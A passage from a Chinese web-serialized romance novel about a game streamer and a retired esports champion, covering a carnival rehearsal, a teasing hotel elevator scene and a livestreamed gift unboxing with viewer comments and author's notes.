上次在KTV,他戴着口罩,灯光也暗,只看得出大约是个帅哥,身材气质都不错。 今天仔细一看…… 小郁同学弯的不冤。 心里话虽如此,但蒲璞清了下嗓子,开口说:“卡神,不解释些什么吗?” 季闻则哪有什么不懂的,轻笑了一声,说:“我说了可不算数。” 哦,那就是听res的。蒲璞眼里闪过一丝满意。 紧接着,又听见季闻则说:“蒲队长,带ICG这么多年也辛苦了,晚点我跟薛简说,给你今年奖金翻倍……这个我还是可以说了算的。” 蒲璞神情一肃。 “薛老板先前承诺给我们的奖金可不是小数目。”他提醒。 翻个倍,那可是从六位数往七位数奔了啊。 “知道。”季闻则淡声道,“你的双倍我出。多谢你在京市照顾他。” 蒲璞深吸一口气。 他立刻放下遮住郁思白“眼睛”的手,把他爪子一捧,在手背上语重心长拍了两下。 “父亲我不是贪财的人。”他道,“但,嫁得好。” 他声音不大,郁思白隔着纸箱更是听不大清,只觉得眼前明明暗暗,听季闻则说了什么“奖金翻倍”。 “谁翻倍?我吗?”他把纸箱子戳得梆梆响。 季闻则哑然失笑:“你的不能再翻了,郁组长,太贵了,公司付不起。” 郁思白眼睛一转,哼了声,立刻道。 “请勿绕过平台交易,谨防诈/骗。” 说罢,他把季闻则打发到老选手堆里,跟蒲璞说了声,转身去找被人群不知道挤到哪里的、他真正心心念念的“临时嘉宾”。 他刚扭头,就见楚别夏在不远处的座位上跟他招手:“这边——” 郁思白连忙过去,做贼似的。 “这片没人直播,你摘了吧,不热吗?”楚别夏关心。 郁思白一想到自己一会儿要问出什么问题,头都摇出残影来。 “coco……”郁思白欲言又止。 “你是有话要问我吧。”楚别夏摸了摸他的纸脑袋,耐心道,“没事,你想好再说,反正我们能聊很久。” “我有两个问题。”郁思白先说了第一个,“你……当年是怎么确定自己喜欢男生的?” 楚别夏眨了下眼睛:“因为有小帅哥追我。”他说着,用脚尖碰了碰在旁边坐着的“前小帅哥”。 段骋雪这才受邀加入这场聊天,收了手机抬头看过来。 郁思白又问:“那小帅哥你呢?” 段骋雪被这个称呼惊得呛咳了半天,缓过来以后说:“因为另一个小帅哥答应和我在一起了。” 郁思白若有所思,抬手摸着纸箱下巴。 楚别夏连忙道:“也不一定就是喜欢男生,可能只是喜欢这个人,你也不用分得这么清。” 他这么一句话出来,郁思白松了口气的声音,隔着纸箱都能听到。 楚别夏失笑:“别的呢?” 郁思白又提了口气。 “第二个问题……嗯。”他抿唇,小声说,“你们是怎么确定……谁是……谁……” 他声音越说越小,被纸箱子藏了大半,楚别夏靠过去都听不清,更遑论隔着一个位置的段骋雪。 “什么?”他问,“大声点。” 郁思白手都要把编织坐垫扣烂了,一咬牙,心一横。 “你俩,是怎么确定谁是1谁是0的!” 这对我真的很重要! 郁思白躲在纸箱里面的一双眼睛扑棱棱的,清清楚楚地看见,自己一句话,把前世界冠军colpsar队长搞了个大红脸。 紧接着,纸箱子被啪地拍了一下。楚别夏红着耳朵咬牙:“你把箱子摘下来说话。” 方块人使劲摇头。 “你、你你——”楚别夏戳箱子,“你仗着躲在里面,反正脸红也看不到是吧?” 方块人怯怯点头。 旁边的段骋雪已经笑得头埋进另一侧的椅子扶手了。 楚别夏猛踢了他一脚,呼出一口气,伸手抖了下自己的帽子。 他今天穿的是帽衫,帽子格外宽大,他抖开帽子,兜头一扣,按着郁思白的方块头往下压。 一个帽子人,一个方块人,齐刷刷地弯腰趴到了自己大腿上,好像这样,就能把所有的声音都藏在中间。 方块人见状,就知道自己的问题应该会有答案了,凑过去问。 “所以,是怎么……” 纸箱又被梆地敲了一下,帽子人手攥成拳,威胁地让他闭嘴,思考片刻才含糊说。 “就……会有感觉的吧。到了那一步的话,就、就知道了。” 骗你的,其实没到也知道。 他后半句话没说出来,果不其然听见方块人磕磕巴巴的声音。 “还、还要到那一步啊……” 帽子人笑了一声,托着下巴问:“那你们现在到哪一步了呢?” 方块人的头在箱子里咚咚撞了两下,冷静下来之后才说。 “就……刚到,我喝醉了,他解……解我皮带。” “……啊?!”帽子人大惊失色。 “不过只解了皮带!没别的了!”方块人强调。 帽子人松了口气:“等下……那你们现在,这个情感关系是……进展到什么程度呢?” 方块人又撞了一下,似乎难以冷静。 “就正常相处吧,我跑路……不是,我因为有工作,所以继续出差了。然后换了一条不系皮带的裤子,就当这事儿没发生过。” “他呢?”帽子人问。 “他……什么也没说。”方块人想了想,“刚刚见了面……也是什么都没说。” “帽子人,你觉得我该怎么办啊?”他问。 “我觉得,按兵不动就可以吧。”帽子人想了想,“他要是有再进一步的意向,他会自己做点什么的。” “唔……”方块人想抬手,把纸箱子脑袋挠得沙沙响。 “可是我总觉得,有点被动。” “我知道你的意思了。” 突然,帽子人终于笑够的男朋友不知道从哪找到一顶棒球帽,往脸上一遮,也加入了他们的谈话。 “你想主动,又不会当gay,是吧。”棒球帽人一针见血。 “倒也不是……”方块人想了一下,断言,“我是觉得,我不能坐以待毙!所以必须要向你们讨教一下经验。” “问我就对了。”棒球帽人一笑,“这事儿你还真不能听夏宝的,他习惯把主动权交上去,那是他幸运,正好遇见我了,我是个好人……诶!” 棒球帽又挨了一下,但威武不能屈,接着道:“你觉得老季是好人吗?不是说道德上,你应该懂我的意思。” 闻言,方块人毫不犹豫地摇头:“满肚子坏水!” 棒球帽打了个响指:“诶,那就对了。” “有什么好按兵不动的,要主动权,也简单啊。”他说,“他怎么对你,你也怎么对他就是了。” “用魔法打败魔法吗?”方块人又摸摸纸箱下巴。 帽子人连忙按住方块人:“不是说让你去解他皮带的意思!” re宝这现在可不行啊。 郁思白想象了一下自己含着那种男鬼似的笑,跟季闻则说“是啊~我跟了你一路。”顿时浑身一抖。 不行,做不到啊! “我想想,我想想……”他抱着纸箱脑袋,半晌,猛地回忆起季闻则故意露出【Execut2】身份的马脚时,自己“以不变应万变”的应对之法,突然一拍大腿。 真是被皮带吓到了!才忘了这么好用的办法。 “想到好办法了?”段骋雪看热闹不嫌事大,好奇问。 “不用什么办法。”郁思白直接道,“我继续装直男,就是最好的办法。” 段骋雪立刻比了个大拇指:“天才啊。能考上清大的脑子就是不一样!” 楚别夏迟疑一秒,还是没有开口,只在心里疑惑。 已经是……装直男了吗? 那大概是,装不了很久的吧—— 作者有话说:是长长!加更减一章[撒花] 第57章 楚别夏还犹豫着要不要提醒好友一下, 他的思想或许已经出了问题,但愣了几秒的功夫,话题已然跑远了十万八千里。 说完了奇怪话题的郁思白直起身来, 重新变成大大方方的方块头,问他场馆设计够不够帅, 得到情侣二人的轮番夸赞。 “对了res, 明天晚会开头的表演赛你想不想上?”段骋雪问。 他来这儿的身份不止是退役选手,还是场馆拥有者,也算半个主办方了,他问这话言下之意就是,你要是想上,我包你能去。 郁思白拍了拍自己的纸箱子脑袋, 摆手笑道:“我都这样了,上去怎么打。” “我们俩也上的, 你真不去玩?” “不去, 没那个胆子。”郁思白半开玩笑地说。 “表演赛一般不都是给那种技术主播和职业选手的吗,而且还要展示新英雄和新地图吧, 我要是去了,那岂不是全世界都知道这个叫Respit2的主播打不到人……不去不去。” 见他头摇成拨浪鼓,段骋雪笑了一声,还是没说后半句话。 …… “你确定表演赛要上台?” 不远处, 季闻则身边的老选手们渐渐也都散了, 毕竟大家真的不熟, 抒发完敬仰之情之后,完全是没什么话聊。 眼下季闻则旁边,只剩下自己的前队友、现ICG教练ketya。 ketya仍旧顶着那张深邃的欧洲面孔,张口就是流利的中文。 “你是专门来表演赛秀一手的?你不会真要复出吧, 兄弟。” 季闻则轻笑了下:“真上。不然我这么多天,让你帮我复盘,还去找小段陪练,是我工作闲得慌吗?” ketya扯扯嘴角:“谁知道呢……我看我们薛总就很闲。”顿了一下,他又说,“你也挺闲的,呵呵,之前来ktv接res的那个就是你吧?” “……”季闻则轻咳。 ketya又呵了一声:“我们之间已经有厚障壁了,季总。” “你跟克里夫学的?”季闻则忍不住道。 “克里夫谁啊?”ketya皱眉。 “Kreef,第一届亚军的决斗。他是嘉年华的总负责人。”季闻则说。 “……shit。”对上号之后,ketya骂了一句,“你们一个两个的,都是过上大老板的日子了啊。” 季闻则笑了下:“我其实挺羡慕你们的。” ketya猛地抬头,却无法从他那张含笑的脸上,分辨出他这话的真假。 很快,季闻则又轻哂,补了两个字:“偶尔。” “……”ketya努力笑了一声来附和,想了想,找了个新话题。 “外面都在传啊,说咱ICG不知道从哪儿招了个天才少年。”他说,“我看是天才老头。” 季闻则一勾唇,笑容和蔼,声音却凉凉的。 “建议你把这句话撤回。”他核善道,“我现在对年龄有一点敏感。” ketya双手环胸,拖着长音“哦——”了一声,八卦欲望陡升。 “哎,看着我们kulu那么招res喜欢,才十八岁,正是活泼的年纪,有危机感也是人之常情……” “他?”季闻则淡声说,“他还不至于。” “有至于的?” “我知道一个18岁出道、不到22岁四冠退役的天才少年。”季闻则撩起眼皮,“你觉得这个至于吗?” ketya先是一愣,旋即拍着大腿,笑得前仰后合。 “前人栽树,后人、哈哈哈!后人被树砸死!” 猛笑了一阵后,ketya啧了声,忍不住道。 “既然这样你干脆真复出呗!我不开玩笑啊卡,你要是回来的话,真能打。” 见季闻则不为所动,ketya接着道。 “你这天赋,不打真的可惜了。你出去问问,哪有你这样的?七年多了没碰过游戏,刚回来,才练了几天就能跟人家TUG青训的天才少年打得有来有回?” 季闻则说:“也只能到这个程度了,我的手我清楚。” “这还不够?!”ketya失声,一下没控制好音量,周围几个人好奇地看过来,他连忙笑着摆手,然后压低声音。 “有那么大影响吗?你当年不也只是没做复健而已?” 季闻则想了一下:“因为你曾经达到过120分的话,就知道,现在这种80分的状态是远远不够的。” ketya先是一怔,旋即一扯嘴角,移开视线,压下心头酸涩,故意露出无语的表情,夸张地吐槽道。 “你真是攻击力不减当年……意思是人家天才少年才80分?我们在您老人家眼里是不是也就刚刚及格啊?” 季闻则懒懒垂眸,一耸肩道:“你让我说的。” “真贱。”ketya字正腔圆,骂得毫不留情,“跟当年一样。” “一样么?”季闻则问他,没等他答,就又自己道,“一样就好。” “哎,卡,你说你这,是不是也算为爱复出了?”ketya挤眉弄眼。 “也不尽然。”季闻则说,“跟他一起打游戏很开心。” “他跟别人一起打也很开心,非得是你么?”ketya说,“哎呦,我听说之前生日直播那天,res可是拒绝了某人的双排邀请啊……” 季闻则笑了下:“所以,这不是展示给他看么。” “他很聪明,向来都知道,要选就选最好的那个。” ketya呼出一口气,这次是真笑了,有种终于放下心来的释然。 “行,开心,开心就好啊……” 他抬手,拍了拍季闻则肩膀道:“总之,很高兴能再次见到你,Execut2——当然,不要出现在别人队伍里就更高兴了。” 季闻则笑:“放心,除非哪天他突发奇想要试着打职业,否则不会的。” ketya挑眉:“喔?你是说,买一赠一?” “先要看看有没有能买得起他。”季闻则说着,轻笑了一下。 “毕竟,他现在也算是我的队友。” “——来,cn的选手们麻烦过来集合一下,我们准备走一遍流程了。” 远处的工作人员开始高喊,众人都动了起来,季闻则坠在人群最后,也跟了上去,他看见了跟楚别夏依依不舍告别的方块头,想了想,还是没上前去。 cn选手走完之后才是主播,等郁思白也结束彩排之后,已经快十一点了。 他没再把方块头寄存到郑主管那,毕竟明天人多眼杂,虽说主播马甲遮不遮掩已经不那么重要了,但郁思白还是想,暴露范围能少一点是一点。 他准备直接在酒店就带上。 他晃晃悠悠收拾好东西,才想起,自己好像没在后台见到季闻则,正想着,遇见ICG众人,约好隔日一起吃夜宵后,随口问了一句季闻则的事。 ketya说:“他好像是有工作,我们这边踩完点就走了。” 梁路思考了两秒,准备当个很坏的搅家精,于是道:“小白哥你看,他都没说要送你回去!” “啊……有什么送的。”郁思白注意力根本不在这儿,又跟蒲璞扯了两句其他的,就自己回了酒店。 他住的还是公司定的地方,和ICG众人是相反方向,因而,也没有看到背后大失败的搅家精泫然欲泣的目光。 季闻则好像凭空出现又凭空消失了一样,神神秘秘…… 不过跑了也好。 郁思白这边刚松了口气,前脚踏进酒店,后脚就在大堂的沙发上见到一个熟悉的身影。 季闻则也似有所感地抬头。 他又戴上了他的银丝框镜,半边镜片映着笔记本屏幕的光,他抬手招了一下:“稍等,马上结束。” ……这人不会是抱着电脑在门口工作,就为了堵我吧。 郁思白心里闪过这样的念头,但没问出口。 一来,这话说着,总觉得像自己有多自恋似的。 二来……要是季闻则真的点个头,郁思白暂时也想不到什么好的招数来招架反击。 于是他走过去,一言不发地在季闻则旁边的沙发坐下,划开手机刚玩了几秒,突然意识到。 不对啊,我过来干什么? 这儿又不是公司,季闻则又不是戴了个眼镜就是“不可违抗的季总”了。 再说了,不能违抗也违抗多次了。 郁思白当即就起身:“我还有事,先上……” “一起。”季闻则合了电脑,笑眯眯起身,又比他高出半个头来。 郁思白:…… 阴魂不散! 渝市夜生活丰富,这个时间点,电梯里正是人多的时候。 郁思白住的楼层偏高,渐渐的就被挤到电梯角落,他抱着自己装在大袋子里的方块头,为了保护这个易碎品,后背被迫和季男鬼的胳膊紧紧贴住。 ……体温倒是很火热。他莫名想。 “生日礼物拆了吗?”忽然,季闻则问。 郁思白恍然回神,轻咳一声,正色:“还没。那个得直……职场之外拆,这两天一直没空。” “我的也没拆?”季闻则笑了一下。 郁思白这下是真愣住,半晌才道:“啊,忘了……” “今天时间还早,不如拆了吧,我的也一并看了?”季闻则悠悠说。 郁思白目光顿时警惕起来,掀起眼皮瞅了他一下。 季闻则笑:“那里面也不是什么见不得人的东西,没关系的。” 但郁思白难道还不了解他吗? 此人,越是这样笑着说“没关系的”,那前方就越是有坑在等他。 郁思白思忖着,定定看了他两秒,忽然学着他的样子一挑眉,不轻不重地笑了一下,说。 “啊,你如果想跟我一起直播拆礼物的话,可以直说的。” 直男就要打直球啊,没毛病。 说完后,他关注着季闻则的反应。 突如其来的一记直球确实成功让他愣了一下,但此人旋即勾了勾唇,眼睛眨了一下,顺着就说。 “可以吗?” 郁思白怀里把他的方块头抱得更紧,下巴却轻挑,嘴上游刃有余道。 “那就要看你能给出什么让我心动的条件了。” 他笑了一下,微微歪头,又问:“你还有吗?” 卡、神? 最后两个字,他是无声地用嘴型说的。 季闻则先是怔了下,就在郁思白唇角扬起小胜一局的笑容前,他忽然靠过来,放轻声音说。 “你肯定想知道,我突然来参加嘉年华,是要做什么吧?” 他的声音一下子靠得很近,连带着本就偏热的体温,此刻竟有了点灼人的意思。 郁思白只觉得,后背相贴的地方窜起一股过电似的麻痒,他定了定神,抿唇淡淡道。 “到时候不就知道了。”他目光一转,“我急什么。” 该急的是你吧! 说罢,郁思白用肩膀顶了顶季闻则的,道:“……你站好说话。” 季闻则不知为何,倒是从善如流地站直了。 电梯门在五楼的餐厅打开,又哗啦啦进来一批人,让电梯里更加拥挤。 轿厢里响起众人窸窸窣窣的低声交谈,季闻则叹了口气,忽然声音不轻不重地说。 “那天你走的匆忙,领带落在衣柜里了。” 郁思白:? 等下。 可季闻则已经接着道:“我怕你要用,所以特意帮你送过来……” 电梯里瞬间安静了。 站在远一点位置的几人,还偷偷地扭头四顾,想找到是谁说的话。而季闻则的身高格外出挑,两人的颜值也十分显眼,叫人一瞬间就能锁定目标。 一个明显是游客打扮的姑娘忍不住轻轻“哇”了一声。 “这就是渝市吗。” 郁思白:…… 不是!不是这样啊!! 他侧头,在轿厢的镜面里,看见了自己腾地涨红的脸,还有几乎要滴血的耳垂。 他只觉得比打游戏打不到人还要红温,抬脚后撤半步,找准季闻则的鞋,猛地就是一踩! 可镜面里的男人仍旧面不改色,半垂着的眼眸里,还带着故作可怜的情绪,开口轻声说。 “这双鞋大概五万。” 郁思白立刻收脚。 季闻则温温柔柔地轻笑:“我的意思是,也不贵。你踩坏了我还可以再买很多双。” “……咦耶?!”不知从哪个角落又传来一个语气词。 电梯又缓缓停下,叮的一声,似乎是到了季闻则的楼层,男人不再做声,安静地绕过他就要出去。 郁思白抱着方块头,在原地磨牙,瞬间想到,要是季闻则走了,这一电梯的人,不就都成了看着自己吗?! 不行。 他立刻反手就拽住季闻则后腰的衣服,声音低低的,从牙缝里挤出来。 “跟我上去。” 季闻则回头,脸上哪还有装模作样的可怜,笑眯眯道。 “好的呢。” 电梯在一阵沉默里又上了几层,郁思白度日如年,几乎是门开的一瞬间,就扯着人往外走。 即便如此,他还是听见了背后不知谁没压住的一声。 “诶嘿嘿。” 郁思白深深吸气、呼气。 电梯门关上,郁思白一点也没有要往屋里走的意思,站在电梯间就一伸手。 “领带给我。” “没带在身上,在包里。”季闻则摊开手掌,表示空空荡荡。 郁思白明显不信:“不是要换我吗?怎么不随身带着。” 季闻则侧头看他,似有若无地笑了下,缓声说:“我要是贴身带着,你肯定又不是这么说了。” ……也有道理。郁思白想。 旋即他又发现不对。 随身和贴身,一样吗?! 郁思白磨了下牙,以退为进:“那算了,也不是多贵的东西,就不要了吧。” 季闻则还是笑眯眯的,只说:“你要是真的不要了,我就留着当个念想。” 郁思白一哽。 他真的要红温了,只觉得自己从脑袋红到脚趾,心跳都已经不能用正常的“加速”来形容,而是乱七八糟地一通乱锤。 “你、你你……” 他开始怀疑这么跟季闻则硬碰硬,是不是一个正确的选择。 他好像有点说不过。 季闻则眨眼,一副悉听尊便的模样。 郁思白才发现,他不知什么时候把那副银丝框镜摘了,摘了之后,那双眼睛一眨,无辜可怜之类的都是添头…… 主要是,像极了Execut2。 郁思白磕巴了半天,最后只蹦出来一句。 “这儿没有别人了,你能不浪了吗。” 他这话倒是把季闻则逗得笑出声来,他眉眼轻轻一挑,道。 “我也不是说给别人听的啊。” 郁思白闭眼。 他破罐子破摔地转身,抱方块头的胳膊下意识收紧,脚步很快。 “……走走走,乐意去给我当助理,递东西扫垃圾,就走。” 他倒要看看,某人这么处心积虑的到底是何居心。 总归开着直播,几千上万人监督着,季闻则多少还是要脸的,不会做出什么出格的事。 而且。 郁思白低头看了一下。 他今天没喝醉,也没套皮带。 郁思白把人领进房间,门锁咔哒一落,他就匆匆地忙了起来——把方块头从大袋子里抱出来,四处找剪刀和笔,在上面比比划划着,开始修改。 一边改,他一边给人派任务。 “你去帮我把直播打开吧。”顿了一下,郁思白又确认地问了一声,“呃,你会开的吧?” 虽说Execut2当年也没少直播过,但毕竟这么多年过去了,直播软件更新迭代得很快,更何况Execut2当年用的还是国外的软件。 郁思白这样想着,看过去的目光里,不由得就流露出一种“啊,我会不会在为难老古董”的感觉。 季闻则开了他的笔记本,又拿起相机支架组装,脸上的笑容很假。 “我虽然不是十八岁,也不是22岁了,但我还没有到不会用电脑的程度。”他说。 郁思白思考。 “十八岁是梁路……22岁又是谁?” “呵。”季闻则手上很利落,两下装好支架,又弯腰去给他开直播间,嘴上随口说。 “你不清楚最好。” “22岁……22……”郁思白琢磨了一会儿,忽然眼睛缓缓睁大,不敢置信地问。 “小穆吗??他有女朋友啊!” “哦是么。” 季闻则似乎并不在意,淡淡回了一句之后,又忽然侧头低眉看他,电脑屏幕的光勾勒出他脸上优越的轮廓线。 他补了一句:“我还以为你会说,你们两个都是直男?”说罢,收回视线之后,又是轻轻的一声笑。 郁思白只觉得又是当头一棒,不知道自己还能说什么找回场子,只能先冷笑一声,给自己壮壮胆。 好奇怪。 明明解的是他的皮带,但是被解开什么奇怪封印的,怎么好像是季闻则。 脑海里突然灵光一现,郁思白冷笑,随口放狠话。 “呵呵,真想用皮带把你的嘴捆住。” “……啊?”季闻则那边顿了一下,忽然直起身来。 他转过来,双手反撑在桌面上,郁思白听见他窸窣的动静,回头,就看见他侧头,似乎很是为难地说。 “我不没名没分地跟人玩这些东西。” 那语气和眼神,就像是当了真一样。 郁思白本来只是没过脑子的随口一说,可被季闻则这样看着,脑海里突然后知后觉地有了画面感。 …… 这。 靠。 他才意识到,自己说了什么不得了的话。 郁思白猛地把头转回来,连目光都彻底呆滞了。 他不知道自己现在又红成了什么样,只听到后面的人又轻轻笑了一声。 “怎么了,直男?”他缓缓地。 “说说而已,也会脸红吗?” 郁思白一言不发,手已经哆哆嗦嗦了,但还是加快了捏剪刀的速度。 咔擦咔擦…… 咔!擦! 没过两秒,他把剪刀一扔,转身,高高举起他的纸壳子,然后对准季闻则的头,猛地往下一掼! 咚的一声。被他剪大了一圈的头套,终于正正好好地,顺利封印住了某人的嘴。 “唔……” 季闻则沉吟的声音闷闷从里面传来。 “你就在里面呆着吧。”郁思白说。 他努力让自己的声音听起来像在大润发杀了十年的鱼,而不是被抓到深海里,和什么不可名状的骚东西谈了十年恋爱。 “为什么?”季闻则问。 “省得一会儿直播不小心拍到你的脸。”郁思白说。 “我见不得人吗?”季闻则还是那句话。 郁思白冷道:“你有点不是人了。” 笑声又从箱子里传来。 郁思白把现任方块人打发去分拣礼物,大大小小的都堆到地上,自己调试好镜头高度,确认只能拍到自己的手后,点下开始直播。 因为是临时开播,一开始人并不多,但没到十分钟,观众们奔走相告,直播间人数顿时飙升。 【终于要直播拆礼物了吗!!】 【等好多天啦!期待拆到我的,嘿嘿。】 【res这么忙吗,忙啥呢】 【我说一个,忙着加班调休,这样才能请假来嘉年华】 【你也没放过他】 “忙着我的大项目啊。”郁思白说,“明天不是要上台领奖嘛,今天彩排完,正好还有点时间,想着干脆利用起来,把礼物一拆……正好也不能再拖了。” 【礼物挺多的吧,你去参加嘉年华,还随身扛那么一大袋礼物吗??】 【等等,你明天真要上台领奖啊?】 【卧槽那岂不是要露脸了!】 弹幕顿时兴奋起来。 【快快!让我们看看半个职业圈都在夸的脸到底长什么样!】 【让小路神念念不忘的脸到底长什么样hhh】 “这么好奇?”郁思白轻哼了一声,大发慈悲道,“那今天就提前给你们看一眼吧。” 说罢,在弹幕铺天盖地的感叹号中,打开了摄像头。 “看哦,我明天就长这样,请认准——” 镜头里,季闻则半蹲在酒店房间的地毯上,弯腰分拣着地上的礼物。 他单边膝盖几乎要碰到地面,却又没有完全触地,衣服布料在转折处绷出漂亮又有料的褶皱。 只是这么好的身材,再往上看,竟然顶着一只被涂画得颇为童趣的彩色纸箱头。 【……?】 【???】 【操,网聊被骗】 【嘶不过该说不说啊,身材很顶……】 【res平时就这个身材穿西装上班吗我操】 “也不一定穿西装,衬衫风衣多一点。”郁思白狐假虎威。 【哦哦哦那白衬衫也是极好的……^q^】 【等会儿,只有我一个人觉得不太对吗】 【以前也看过主包的脖子以下视角啊,好像没有这么有型呢……】 “哈?”郁思白捏紧拳头,硬着头皮,“谁说的?我身材就是很好啊。你们看到的都是真的,每天需要花很多时间举铁……” “也没那么刻意。”季闻则忽然开口,证明真身,“不用举铁,偶尔随便练两下罢了。” 【?】 【什么在说话】 【纸箱子声音真好听……诶我去】 【res!你又在房间藏男人!!】 【你小子去渝市入乡随俗的也太快了吧】 【还有没有人记得,主包本来就是渝市人啊。】 “……可恶。”郁思白看了方块头一眼,道,“好吧,这是我给你们请的头套模特,怎么样?” “没有请。”季闻则又说,“是我自己竞争上岗的。” 【咦……这个声音有点耳熟啊。】 【诶是不是我念念不忘的同事哥?】 【是吧应该,同事哥这身穿搭不错啊!】 郁思白点头:“是他……” 他顺着弹幕的话,也抬头看了一眼季闻则的穿搭,就这么一眼,突然反应过来一个事。 “坏了。” 他连忙把镜头撇到另一个方向,起身朝季闻则那边冲过去,边冲边小声说:“你赶紧……把这衣服脱了,要不套一个我的衣服,或者你干脆穿我的!” 他的声音在麦克里渐行渐远,弹幕只听到了第一句。 【……?什么玩意儿】 【什么衣服脱了??这是在干什么啊】 【我们不是正经直播间和正经的不许脖子以下的平台吗】 【新人,听说主播只能看脖子以下,没想到是这个脖子以下?】 画面拍不到的地方,郁思白冲锋冲得一个踉跄,季闻则下意识抬手扶了一下他,被抓住衣服之后,很快反应过来他是什么意思,不由得轻笑。 “没事,我还带了别的衣服。”然后他用很轻的声音说。 “明天换一身。” 话是很正常的话,但被他这么轻飘飘地用气声说出来,就好像周围的灯光都昏暗下来,呼吸的温度莫名升高,像有无形的氛围流转起来。 郁思白这才发现,自己还抓着人家的衣服,顿时撒手,还没在这边站稳,就急忙慌地往回窜。 又差点被另一摊礼物绊到。 季闻则失笑:“慢点,急什么。” 郁思白乱七八糟地扑回电脑跟前的时候,弹幕已经不成样子了。 【/黄爱心/黄爱心】 【急什么,又不是不给你/玫瑰花】 【??】 【真没想到,我有一天还能在这个直播间开上高速】 【对不起Execut2,替我告诉他,同事哥太……了,我要爬墙了,今晚就产出六千字res的办公室恋情文学!】—— 作者有话说:[猫爪] 其实每天都在努力想要加更,但……好吧,明天会继续努力的[可怜][爆哭]期待成功的一天。 第58章 郁思白看着弹幕, 眼前一黑。 “冷静一点……网络不是法外之地!!”他深吸一口气,把电脑挪了个朝向,朝季闻则道。 “好了你过来吧, 换我来。” 季闻则从善如流地起身,转到镜头后, 郁思白抬手把他脑袋上的纸壳子掀了, 反手扣到自己头上。 “帮我看着镜头就行,然后递递其他的礼物……”他说着,把纸壳子脑袋扶正。 开口处被剪大了一圈之后,头壳好像变得有点晃悠,但透气性倒是好了很多。 不知道是不是他的错觉,箱子里, 似乎还残留着季闻则头发的味道。 大约是柑橘调的洗发水…… 郁思白猛地甩头,昂首阔步走到镜头里, 故意大马金刀地坐下, 像是要在言行间把直男贯彻到底。 也或许只是最后的挣扎。 一整箱礼物,季闻则帮他分类了一部分, 左手边是纸片类,右手边是手工制的其他立体东西,中间是一些毛绒玩具。 郁思白目光瞥见最下面被隐约遮住的那个牛皮纸袋,移开视线。 他先从纸片拆起。 往年生日, 他也会收到粉丝的礼物, 同样是寄到ICG, 但ICG只是看在pupu的面子上友情帮收,不会做筛选,所以郁思白还要自己过去拆很久的快递,然后再让ICG旁边捡快递箱的大爷发一笔财。 他不由得再次感慨起, 签个公会还真是好处多多,以前怎么就那么钻牛角尖呢。 纸片类和往年差不多,一些是给他画的画,从像素风,到赛璐璐,甚至写实厚涂——虽然不知道写实了些什么,A4大小的纸上,是一条很漂亮的孔雀鱼。 郁思白哭笑不得。 画作作者还附了一张便签,上面写:【我会每年都给你画鱼,直到你露脸的那天,我会永远watching you(盯——)】 郁思白顺手把便签递给季闻则。 “喏,有人演你。” 【意思同事哥是男鬼吗】 【脑补一下,res每天加班到深夜,进电梯的时候,背后都会传来同事哥的声音:好巧,你也下班了……】 【陪加班吗那很爱了】 【同事哥股暴涨啊】 纸片拆完之后,郁思白还看到一个特殊的小盒子,刚打开,顿时眼前一黑,连给镜头展示都忘了。 送礼物的人倒是和kulu想到了一起,盒子打开之后,是一些他没有的Execut2周边。 但……有的时候,一个单推人手上都没有的周边,一定是有问题的。 梁路送的那套是因为绝版且有市无价,面前这个嘛…… 实在是,丑谷子。 郁思白在纸盒里面露难色,在弹幕的催促下,很快地给镜头看了一眼,就飞速收手。 生怕季闻则本人看到。 Execut2退役的第二年,他在EMEA待过的队伍,大概是发现此人真的人间蒸发,于是开始大批量产出各种“Execut2纪念周边”,有些质量不错,有些纯纯就是摆明的恰烂钱了。 粉丝送他的这堆,就是其中一部分。 周边在镜头前一闪而过,虽然很多人都没看清,奈何送礼物的人已经兴致勃勃地出现。 他发了条醒目留言,乐道。 【res,喜欢我的丑谷大礼包吗hhh】 凡是周边,质量参差不齐是常态,郁思白虽然嘴上经常说“我男神好帅喔”,但其实不怎么看他卡神的脸,因而绝大多数的情况下,郁思白对那些拍的不太好看的图片都能溺爱。 但手上这些,实在让人生不出购买的欲望。 这不全是黑历史吗! 弹幕爆笑。 【我不行了,好缺德哈哈哈怎么给他送这个】 “我没看清。”季闻则忽然问,“是什么?” 郁思白伸手,举起一张画挡在那堆黑历史上,劝道:“别看了,别看了。” 但他遮挡的速度,还是没赶上季闻则侧头的速度。 看了个大概的季闻则没有露出什么尴尬的神色,只失笑道:“其实,我觉得梁路送你的那个,也不怎么好看。” “没品。”郁思白立刻严肃道,“你知道那套多少钱吗。” “多少钱也不好看。”季闻则道。 他或许会怀念当年那个叱咤赛场的自己,但其中,绝对不会包含那头灰蓝色的毛。 很有种成年以后,再去翻看中二期□□空间的意思。 【可恶!那套可是海景啊!!!】 【不可饶恕】 【坏了……res要生气的吧】 【我在男朋友面前夸我担帅be like】 郁思白逆反心理上来了,一挑眉,哼道:“我就喜欢kulu送的,你怎么办吧?” 季闻则轻笑,收回视线轻飘飘道:“那也挺好的,希望你明天也这么说。” 郁思白沉默。 明天吗?哈。 …… 明天他可是要和本尊在镜头跟前坐在一块的。 明天可不兴喜欢了。 他悻悻收回视线,继续闷头拆礼物。 接下来的,是个炸药包一样的包装,拆开后,是粉丝自己画的一整套Execut2的图。 还附了一封信。 【Respit2亲启。 我是Execut2的粉丝,看你直播也有很多年了……不知不觉就画了这么多Execut2,想了想也不知道能给谁看,干脆就印出来送给你吧,至少你会珍惜。——feifei】 郁思白立刻就懂了,大概又是一个苦等多年的绝望Execut2粉丝。 他看了眼最后的名字,问:“不知道这位……feifei在不在直播间。我会帮你把这份礼物转送给卡神的。” 【?】 【你俩真暗度陈仓了?】 【小道消息,不知真假,据说今天下午彩排有人看到卡神】 【是真的,有EMEA的选手拍照,外网已经传疯了】 【……是说神秘男子尾随神秘方块头的那个吗】 郁思白目光在这条弹幕上顿了一会儿,心里突然冒出一个担心。 季闻则被拍了? 那他这身衣服岂不是也…… 但已经发生的事就是泼出去的水,提前担心只会贷款焦虑,郁思白暂时把这事搁置,翻开厚厚一本画册。 【端上来欣赏欣赏!】 郁思白把画放到镜头前,季闻则的目光也跟着看过来。 feifei的画技绝非凡品,弹幕一个劲地夸帅,【卧槽】已经刷了满屏。 【这里是卢浮宫吗……】 【omg这是我不花钱就能看到的?】 【卧槽好帅的老公啊啊啊】 【男神伟大的脸……】 郁思白道:“画的真的很厉害,看得出功底,几乎和科班出身没差别了。” “看这氛围,明暗光影,还有这线条,特别干净……” 【好像不太对】 【怎么感觉少了点什么】 【不对吧!为什么都是我们在喊主播的词儿啊!】 【我要听那个,那个抱着照片喊Execut2老公好帅/狗头】 【年年都喊,今年怎么不说话了主播】 【哎呀,同事哥在,他放不开吧~】 